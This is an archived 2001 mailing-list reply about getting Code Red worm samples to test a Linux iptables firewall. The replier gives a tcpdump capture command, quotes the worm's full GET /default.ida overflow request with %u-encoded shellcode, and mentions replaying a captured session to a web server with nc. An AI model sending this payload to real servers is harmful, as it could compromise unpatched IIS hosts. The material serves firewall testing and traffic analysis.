Re: Where to get " code red worm source" ?

[Phil Wood <cpw () lanl gov>]

On Wed, Aug 29, 2001 at 01:44:33PM +0900, ls1100 wrote:
> I'd like to testing own my linux firewalls using iptables aganist Code-Red-worm
>
> Anybody know, Where to get  " code red worm source" ?

What I do is just run:

  tcpdump -s 1518 -w codeRed -c 100 dst net mynet and dst port 80

In less than a second, I have 5 examples.  Each one has the following
"string" among other things:

GET 
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
  HTTP/1.0

Since 8/13 we have had rougly 25+ million codereds.  Today (last 11 hours and
39 minutes) we have had 878,589.

I just don't see how you could miss getting one for yourself. %^)

I extracted one of the "sessions" in binary which you could pipe to a web
server using nc.




-- 
Phil Wood, cpw () lanl gov

Attachment: cr.bin
Description: